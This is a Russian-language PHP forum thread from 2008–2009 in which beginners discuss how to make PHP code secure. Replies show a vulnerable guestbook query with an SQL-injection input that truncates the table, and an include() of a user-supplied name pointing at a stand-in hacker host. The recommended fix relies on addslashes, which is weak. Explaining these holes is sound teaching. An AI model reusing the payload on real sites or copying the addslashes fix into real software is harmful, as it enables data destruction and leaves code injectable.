Strict Standards: Resource ID#18 used as offset, casting to integer (18) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#23 used as offset, casting to integer (23) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#25 used as offset, casting to integer (25) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#26 used as offset, casting to integer (26) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401
ТвойWeb :: Безопасность PHP
ТвойWeb ТвойWeb
Качественный Европейский хостинг
Форум для чайников
 Чат на форуме      Помощь      Поиск      Пользователи


 Страниц (1): [1]   

> Без описания
scar
Отправлено: 24 Июля, 2008 - 09:08:49
Post Id



Include


Покинул форум
Сообщений всего: 278
Дата рег-ции: Июль 2007  
Откуда: Киев

Карма 0




Что нужно знать для того, что бы уметь находить в PHP-коде дырки, устранять их и писать безопасные программы? Иными словами: Как сделать PHP-программу не уязвимой?
Заранее спасибо за ответ!
 
 Top
Furax
Отправлено: 24 Июля, 2008 - 09:42:55
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




Неуязвимых программ нет, есть труднорасколупываемые. Радость

Во-первых, надо очень хорошо фильтровать входные данные. Всегда.

Во-вторых - читать про возможные дыры и проверять их наличие у себя.

В-третьих - не лениться на стадии отладки/проверки. Можно даже хакера знакомого попросить сломать...
 
 Top
scar
Отправлено: 24 Июля, 2008 - 09:52:33
Post Id



Include


Покинул форум
Сообщений всего: 278
Дата рег-ции: Июль 2007  
Откуда: Киев

Карма 0




Furax пишет:
Во-первых, надо очень хорошо фильтровать входные данные. Всегда.


Если не тяжело, можешь предоставить пример?

Furax пишет:
Во-вторых - читать про возможные дыры и проверять их наличие у себя.


Где я могу узнать о возможных дырах?
 
 Top
Furax
Отправлено: 24 Июля, 2008 - 10:28:36
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




Пример.

В коде гостевой, сохраняющем сообщение в базу данных, написано:
CODE:
mysql_query("INSERT INTO `gbook` (`name`, `mesage`) VALUES('$_POST[name]', '$_POST['message'])");
Хакер вводит в поле 'name'
CODE:
mike', 'hello'); TRUNCATE TABLE `gbook`; INSERT INTO `gbook` (`name`, `mesage`) VALUES('XaKeP
В итоге в БД пошёл запрос, очищающий всю гостевую. Причина? Забыли слэши вставить.

Ещё пример. Написано:
CODE:
include("$_GET[topic].php");
Это подключает содержимое. Хакер передал в поле $_GET['topic'] строку "http://haker.ru/badpage". В итоге то, что доступно по адресу "http://haker.ru/badpage.php", выполнено на нашем сайте. Причина? Не проверили, что в этой переменной.

И так далее.

Как правило, в учебниках по PHP предостерегают об ошибках; кроме того, есть специальные учебники по безопасности. Погугли - вроде по теме выдайт.

(Отредактировано автором: 24 Июля, 2008 - 10:29:12)

 
 Top
Gosudar
Отправлено: 24 Июля, 2008 - 13:59:28
Post Id


Newbie


Покинул форум
Сообщений всего: 16
Дата рег-ции: Март 2004  

Карма 0




Цитата:
Где я могу узнать о возможных дырах?

Цитата:
Можно даже хакера знакомого попросить сломать...

есть софт специальный. для поиска потенциальных дыр.
К примеру программа XSpider. В гугле легко находится Радость

(Отредактировано автором: 24 Июля, 2008 - 13:59:50)

 
 Top
scar
Отправлено: 25 Июля, 2008 - 03:13:03
Post Id



Include


Покинул форум
Сообщений всего: 278
Дата рег-ции: Июль 2007  
Откуда: Киев

Карма 0




Furax
CODE:
mysql_query("INSERT INTO `gbook` (`name`, `mesage`) VALUES('$_POST[name]', '$_POST['message'])");

Где в этом коде забыли поставить слэши? Однако

(Отредактировано автором: 25 Июля, 2008 - 03:13:29)

 
 Top
scar
Отправлено: 25 Июля, 2008 - 03:18:04
Post Id



Include


Покинул форум
Сообщений всего: 278
Дата рег-ции: Июль 2007  
Откуда: Киев

Карма 0




Все, понял. Улыбка
CODE:
... '$_POST['message'])");


А что если не ставить в кавычки name:
CODE:
$_POST[name];



Будет ли здесь дыра?

(Отредактировано автором: 25 Июля, 2008 - 03:24:10)

 
 Top
Furax
Отправлено: 25 Июля, 2008 - 07:51:16
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




Да, виноват, надо так:
CODE:
mysql_query("INSERT INTO `gbook` (`name`, `mesage`) VALUES('$_POST[name]', '$_POST[message]')");
То есть так надо в том примере. А безопасный вариант -
CODE:
mysql_query("INSERT INTO `gbook` (`name`, `mesage`) VALUES('" . addSlashes($_POST['name']) . "', '" . addSlashes($_POST['message']) . "')");
 
 Top
Bard
Отправлено: 18 Декабря, 2009 - 03:17:21
Post Id



Full Member


Покинул форум
Сообщений всего: 164
Дата рег-ции: Нояб. 2005  
Откуда: Москва, Россия

Карма 0




Сам только начинаю изучать php, озаботился вот и его безопасностью.
Вчера грамотные люди пояснили, что если скрипт пишется не под конкретный серв, а предусматривает использование на разных (или просто если конкретный серв не вы админите), надо проверять включена ли функция magic_quotes_gpc, которая и так уже слешики ставит, если включена addSlashes делать не надо...
Если я правильно понял конечно...
 
 Top
Furax
Отправлено: 18 Декабря, 2009 - 07:40:55
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




По-моему, так.
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 1 (гостей: 1, зарегистрированных: 0, скрытых: 0)
« PHP/Perl »


Все гости форума могут просматривать этот раздел.
Только администраторы и модераторы могут создавать новые темы в этом разделе.
Только администраторы и модераторы могут отвечать на сообщения в этом разделе.
 



Форум на AlfaSpace.NET


Powered by ExBB
ExBB FM 1.0 RC1 by TvoyWeb.ru
InvisionExBB Style converted by Markus®

[Script Execution time: 0.0515]     [ Gzipped ]



Notice: ob_end_flush(): failed to send buffer of ob_gzhandler (1) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/page_tail.php on line 33